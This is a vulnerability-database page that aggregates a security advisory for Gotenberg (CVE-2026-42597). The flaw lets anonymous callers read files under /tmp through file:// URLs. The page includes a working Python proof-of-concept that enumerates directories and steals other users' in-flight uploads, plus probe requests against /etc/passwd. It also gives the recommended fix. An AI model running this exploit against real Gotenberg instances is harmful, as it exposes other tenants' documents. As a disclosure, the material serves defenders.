Vulnerability-Lookup

CVE-2026-42597 (GCVE-0-2026-42597)

Vulnerability from cvelistv5 – Published: 2026-05-14 15:34 – Updated: 2026-05-14 18:04

Title

Gotenberg: Chromium URL conversion routes read arbitrary files under /tmp via file:// scheme

Summary

Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.32.0, the /forms/chromium/convert/url and /forms/chromium/screenshot/url routes accept url=file:///tmp/... from anonymous callers. The default Chromium deny-list intentionally exempts file:///tmp/ so HTML/Markdown routes can load their own request-local assets, and those routes apply a per-request AllowedFilePrefixes guard to scope the read. The URL routes never set AllowedFilePrefixes, so the scope guard silently skips. Alice enumerates /tmp/, walks Gotenberg's per-request working directories, and reads the raw source files of other in-flight conversions as rendered PDF output. This vulnerability is fixed in 8.32.0.

Severity

5.9 (Medium)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-05-14 18:04 UTC

CWE

CWE-73 - External Control of File Name or Path
CWE-918 - Server-Side Request Forgery (SSRF)

Assigner

GitHub_M mitre root

References

1 reference

URL	Tags
https://github.com/gotenberg/gotenberg/security/a…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version	CPE status
gotenberg	gotenberg	Affected: < 8.32.0	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-42597

Vulnerability from fkie_nvd - Published: 2026-05-14 16:16 - Updated: 2026-06-17 10:48

Severity

5.9 (Medium) - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/gotenberg/gotenberg/security/advisories/GHSA-g924-cjx7-2rjw	Exploit, Mitigation, Vendor Advisory
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/gotenberg/gotenberg/security/advisories/GHSA-g924-cjx7-2rjw	Exploit, Mitigation, Vendor Advisory

Impacted products

	Vendor	Product	Version
	thecodingmachine	gotenberg	*

JSON

To clipboard

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GHSA-G924-CJX7-2RJW

Vulnerability from github – Published: 2026-05-07 01:15 – Updated: 2026-07-21 14:34

Summary

Gotenberg allows Chromium URL conversion routes to read arbitrary files under /tmp via file:// scheme

Details

Summary

The /forms/chromium/convert/url and /forms/chromium/screenshot/url routes accept url=file:///tmp/... from anonymous callers. The default Chromium deny-list intentionally exempts file:///tmp/ so HTML/Markdown routes can load their own request-local assets, and those routes apply a per-request AllowedFilePrefixes guard to scope the read. The URL routes never set AllowedFilePrefixes, so the scope guard silently skips. Alice enumerates /tmp/, walks Gotenberg's per-request working directories, and reads the raw source files of other in-flight conversions as rendered PDF output.

Details

The default deny-list regex at pkg/modules/chromium/chromium.go:449 uses a negative lookahead to exempt /tmp/:

fs.StringSlice("chromium-deny-list",
    []string{`^file:(?!//\/tmp/).*`},
    "Set the denied URLs for Chromium using regular expressions - supports multiple values")

pkg/gotenberg/outbound.go:185-187 short-circuits IP validation for non-HTTP schemes:

if !httpLikeScheme(parsed.Scheme) {
    return outboundDecision{}, nil
}

So any file:///tmp/... URL passes FilterOutboundURL cleanly.

The HTML route pairs the exemption with a per-request scope guard (pkg/modules/chromium/routes.go:518):

options.AllowedFilePrefixes = []string{ctx.DirPath()}

and the CDP Fetch.requestPaused handler enforces the scope (pkg/modules/chromium/events.go:65-78):

if allow && strings.HasPrefix(e.Request.URL, "file://") && len(options.allowedFilePrefixes) > 0 {
    prefixMatch := false
    for _, prefix := range options.allowedFilePrefixes {
        if strings.HasPrefix(e.Request.URL, "file://"+prefix) {
            prefixMatch = true
            break
        }
    }
    if !prefixMatch {
        allow = false
    }
}

The len(options.allowedFilePrefixes) > 0 condition skips the entire enforcement block when the slice is empty. The URL route handler at pkg/modules/chromium/routes.go:406-448 (convertUrlRoute) never populates AllowedFilePrefixes. MandatoryString("url", &url) takes the form value without scheme validation and passes it to convertUrl → chromium.Pdf → Chromium navigation.

Gotenberg stores uploaded request assets at /tmp/<gotenberg-work-uuid>/<request-uuid>/<file-uuid>.<ext> (pkg/gotenberg/fs.go:64-65). Chromium renders the targeted file:// URL as a PDF and the response body returns to the caller.

Proof of Concept

Reproduction uses the stock Docker image with no auth:

docker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8

Python script. Alice attacks, Bob runs a slow legitimate conversion whose request directory stays alive long enough for Alice to locate it. waitDelay=15s stands in for any naturally slow convert (large DOCX, multi-page HTML with external fetches, LibreOffice rendering a complex spreadsheet):

import requests, threading, time, subprocess, re
TARGET = "http://localhost:3000"
SECRET = f"BOB-CROSS-REQ-LEAK-{int(time.time())}"

bob_html = f"<html><body><h1>{SECRET}</h1></body></html>".encode()

def bob_runs():
    requests.post(
        f"{TARGET}/forms/chromium/convert/html",
        files={"files": ("index.html", bob_html, "text/html")},
        data={"waitDelay": "15s"},
        timeout=60,
    )

def alice_reads(url):
    r = requests.post(
        f"{TARGET}/forms/chromium/convert/url",
        files={"url": (None, url)}, timeout=30,
    )
    if r.status_code != 200: return None
    open("/tmp/_alice.pdf", "wb").write(r.content)
    return subprocess.run(
        ["pdftotext", "/tmp/_alice.pdf", "-"],
        capture_output=True, text=True,
    ).stdout

threading.Thread(target=bob_runs, daemon=True).start()
time.sleep(2)

# Step 1: list /tmp/ to discover the gotenberg work UUID
tmp = alice_reads("file:///tmp/")
work = re.search(r"([0-9a-f-]{36})", tmp).group(1)

# Step 2: walk into the work dir to find an in-flight request dir
wd = alice_reads(f"file:///tmp/{work}/")
for req in re.findall(r"([0-9a-f-]{36})", wd):
    if req == work: continue
    rd = alice_reads(f"file:///tmp/{work}/{req}/")
    if rd and (m := re.search(r"([0-9a-f-]{36}\.html)", rd)):
        # Step 3: read bob's uploaded HTML
        txt = alice_reads(f"file:///tmp/{work}/{req}/{m.group(1)}")
        print("SECRET recovered:", SECRET in txt)
        break

# Sanity: /etc/passwd stays blocked (deny-list holds outside /tmp)
r = requests.post(f"{TARGET}/forms/chromium/convert/url",
    files={"url": (None, "file:///etc/passwd")}, timeout=30)
print(f"/etc/passwd probe: HTTP {r.status_code}")  # 403 Forbidden

Output against gotenberg 8.31.0:

SECRET recovered: True
/etc/passwd probe: HTTP 403

file:///tmp/ directory enumeration works on every request, unconditionally. Cross-request content read depends on timing: Alice needs the victim's request dir alive when she walks to it. Long-running legitimate conversions (large inputs, external HTTP fetches, explicit waitDelay) widen the window from milliseconds to seconds.

Impact

An unauthenticated caller enumerates /tmp/ on the Gotenberg host and reads the raw source files of other users' conversion requests while those requests are in flight. Content types include uploaded HTML, Markdown, Office documents awaiting LibreOffice conversion, and output PDFs staged for webhook delivery. The rendered file returns to the attacker as a PDF. In a multi-tenant deployment where multiple users submit documents to the same Gotenberg instance, cross-tenant document exfiltration is possible whenever the attacker wins the timing race against a victim's request lifecycle. Directory enumeration itself (the work-UUID and per-request-UUID structure) is available regardless of timing.

The deny-list regex holds for paths outside /tmp/. file:///etc/passwd, file:///proc/self/environ, and similar targets return HTTP 403. The primitive is scoped to /tmp/, not arbitrary filesystem read.

Recommended Fix

Remove the len(options.allowedFilePrefixes) > 0 condition at pkg/modules/chromium/events.go:65 so URL routes block every file:// sub-resource by default:

if allow && strings.HasPrefix(e.Request.URL, "file://") {
    if len(options.allowedFilePrefixes) == 0 {
        allow = false
    } else {
        prefixMatch := false
        for _, prefix := range options.allowedFilePrefixes {
            if strings.HasPrefix(e.Request.URL, "file://"+prefix) {
                prefixMatch = true
                break
            }
        }
        if !prefixMatch {
            allow = false
        }
    }
}

Equivalent alternative: reject non-http/https schemes in the URL route handlers (convertUrlRoute, screenshotUrlRoute) before handing the URL to Chromium.

Found by aisafe.io

Severity

5.9 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Show details on source website

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.31.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/gotenberg/gotenberg/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.32.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/gotenberg/gotenberg/v7"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "7.10.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42597"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T01:15:47Z",
    "nvd_published_at": "2026-05-14T16:16:23Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `/forms/chromium/convert/url` and `/forms/chromium/screenshot/url` routes accept `url=file:///tmp/...` from anonymous callers. The default Chromium deny-list intentionally exempts `file:///tmp/` so HTML/Markdown routes can load their own request-local assets, and those routes apply a per-request `AllowedFilePrefixes` guard to scope the read. The URL routes never set `AllowedFilePrefixes`, so the scope guard silently skips. Alice enumerates `/tmp/`, walks Gotenberg\u0027s per-request working directories, and reads the raw source files of other in-flight conversions as rendered PDF output.\n\n## Details\n\nThe default deny-list regex at `pkg/modules/chromium/chromium.go:449` uses a negative lookahead to exempt `/tmp/`:\n\n```go\nfs.StringSlice(\"chromium-deny-list\",\n    []string{`^file:(?!//\\/tmp/).*`},\n    \"Set the denied URLs for Chromium using regular expressions - supports multiple values\")\n```\n\n`pkg/gotenberg/outbound.go:185-187` short-circuits IP validation for non-HTTP schemes:\n\n```go\nif !httpLikeScheme(parsed.Scheme) {\n    return outboundDecision{}, nil\n}\n```\n\nSo any `file:///tmp/...` URL passes `FilterOutboundURL` cleanly.\n\nThe HTML route pairs the exemption with a per-request scope guard (`pkg/modules/chromium/routes.go:518`):\n\n```go\noptions.AllowedFilePrefixes = []string{ctx.DirPath()}\n```\n\nand the CDP `Fetch.requestPaused` handler enforces the scope (`pkg/modules/chromium/events.go:65-78`):\n\n```go\nif allow \u0026\u0026 strings.HasPrefix(e.Request.URL, \"file://\") \u0026\u0026 len(options.allowedFilePrefixes) \u003e 0 {\n    prefixMatch := false\n    for _, prefix := range options.allowedFilePrefixes {\n        if strings.HasPrefix(e.Request.URL, \"file://\"+prefix) {\n            prefixMatch = true\n            break\n        }\n    }\n    if !prefixMatch {\n        allow = false\n    }\n}\n```\n\nThe `len(options.allowedFilePrefixes) \u003e 0` condition skips the entire enforcement block when the slice is empty. The URL route handler at `pkg/modules/chromium/routes.go:406-448` (`convertUrlRoute`) never populates `AllowedFilePrefixes`. `MandatoryString(\"url\", \u0026url)` takes the form value without scheme validation and passes it to `convertUrl` \u2192 `chromium.Pdf` \u2192 Chromium navigation.\n\nGotenberg stores uploaded request assets at `/tmp/\u003cgotenberg-work-uuid\u003e/\u003crequest-uuid\u003e/\u003cfile-uuid\u003e.\u003cext\u003e` (`pkg/gotenberg/fs.go:64-65`). Chromium renders the targeted `file://` URL as a PDF and the response body returns to the caller.\n\n## Proof of Concept\n\nReproduction uses the stock Docker image with no auth:\n\n```bash\ndocker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8\n```\n\nPython script. Alice attacks, Bob runs a slow legitimate conversion whose request directory stays alive long enough for Alice to locate it. `waitDelay=15s` stands in for any naturally slow convert (large DOCX, multi-page HTML with external fetches, LibreOffice rendering a complex spreadsheet):\n\n```python\nimport requests, threading, time, subprocess, re\nTARGET = \"http://localhost:3000\"\nSECRET = f\"BOB-CROSS-REQ-LEAK-{int(time.time())}\"\n\nbob_html = f\"\u003chtml\u003e\u003cbody\u003e\u003ch1\u003e{SECRET}\u003c/h1\u003e\u003c/body\u003e\u003c/html\u003e\".encode()\n\ndef bob_runs():\n    requests.post(\n        f\"{TARGET}/forms/chromium/convert/html\",\n        files={\"files\": (\"index.html\", bob_html, \"text/html\")},\n        data={\"waitDelay\": \"15s\"},\n        timeout=60,\n    )\n\ndef alice_reads(url):\n    r = requests.post(\n        f\"{TARGET}/forms/chromium/convert/url\",\n        files={\"url\": (None, url)}, timeout=30,\n    )\n    if r.status_code != 200: return None\n    open(\"/tmp/_alice.pdf\", \"wb\").write(r.content)\n    return subprocess.run(\n        [\"pdftotext\", \"/tmp/_alice.pdf\", \"-\"],\n        capture_output=True, text=True,\n    ).stdout\n\nthreading.Thread(target=bob_runs, daemon=True).start()\ntime.sleep(2)\n\n# Step 1: list /tmp/ to discover the gotenberg work UUID\ntmp = alice_reads(\"file:///tmp/\")\nwork = re.search(r\"([0-9a-f-]{36})\", tmp).group(1)\n\n# Step 2: walk into the work dir to find an in-flight request dir\nwd = alice_reads(f\"file:///tmp/{work}/\")\nfor req in re.findall(r\"([0-9a-f-]{36})\", wd):\n    if req == work: continue\n    rd = alice_reads(f\"file:///tmp/{work}/{req}/\")\n    if rd and (m := re.search(r\"([0-9a-f-]{36}\\.html)\", rd)):\n        # Step 3: read bob\u0027s uploaded HTML\n        txt = alice_reads(f\"file:///tmp/{work}/{req}/{m.group(1)}\")\n        print(\"SECRET recovered:\", SECRET in txt)\n        break\n\n# Sanity: /etc/passwd stays blocked (deny-list holds outside /tmp)\nr = requests.post(f\"{TARGET}/forms/chromium/convert/url\",\n    files={\"url\": (None, \"file:///etc/passwd\")}, timeout=30)\nprint(f\"/etc/passwd probe: HTTP {r.status_code}\")  # 403 Forbidden\n```\n\nOutput against gotenberg 8.31.0:\n\n```\nSECRET recovered: True\n/etc/passwd probe: HTTP 403\n```\n\n`file:///tmp/` directory enumeration works on every request, unconditionally. Cross-request content read depends on timing: Alice needs the victim\u0027s request dir alive when she walks to it. Long-running legitimate conversions (large inputs, external HTTP fetches, explicit `waitDelay`) widen the window from milliseconds to seconds.\n\n## Impact\n\nAn unauthenticated caller enumerates `/tmp/` on the Gotenberg host and reads the raw source files of other users\u0027 conversion requests while those requests are in flight. Content types include uploaded HTML, Markdown, Office documents awaiting LibreOffice conversion, and output PDFs staged for webhook delivery. The rendered file returns to the attacker as a PDF. In a multi-tenant deployment where multiple users submit documents to the same Gotenberg instance, cross-tenant document exfiltration is possible whenever the attacker wins the timing race against a victim\u0027s request lifecycle. Directory enumeration itself (the work-UUID and per-request-UUID structure) is available regardless of timing.\n\nThe deny-list regex holds for paths outside `/tmp/`. `file:///etc/passwd`, `file:///proc/self/environ`, and similar targets return HTTP 403. The primitive is scoped to `/tmp/`, not arbitrary filesystem read.\n\n## Recommended Fix\n\nRemove the `len(options.allowedFilePrefixes) \u003e 0` condition at `pkg/modules/chromium/events.go:65` so URL routes block every `file://` sub-resource by default:\n\n```go\nif allow \u0026\u0026 strings.HasPrefix(e.Request.URL, \"file://\") {\n    if len(options.allowedFilePrefixes) == 0 {\n        allow = false\n    } else {\n        prefixMatch := false\n        for _, prefix := range options.allowedFilePrefixes {\n            if strings.HasPrefix(e.Request.URL, \"file://\"+prefix) {\n                prefixMatch = true\n                break\n            }\n        }\n        if !prefixMatch {\n            allow = false\n        }\n    }\n}\n```\n\nEquivalent alternative: reject non-`http`/`https` schemes in the URL route handlers (`convertUrlRoute`, `screenshotUrlRoute`) before handing the URL to Chromium.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
  "id": "GHSA-g924-cjx7-2rjw",
  "modified": "2026-07-21T14:34:24Z",
  "published": "2026-05-07T01:15:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-g924-cjx7-2rjw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42597"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gotenberg/gotenberg"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gotenberg allows Chromium URL conversion routes to read arbitrary files under /tmp via file:// scheme"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

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Confirmed: The vulnerability has been validated from an analyst's perspective.
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Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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Action not permitted

CVE-2026-42597 (GCVE-0-2026-42597)

FKIE_CVE-2026-42597

GHSA-G924-CJX7-2RJW

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Details

Proof of Concept

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Recommended Fix

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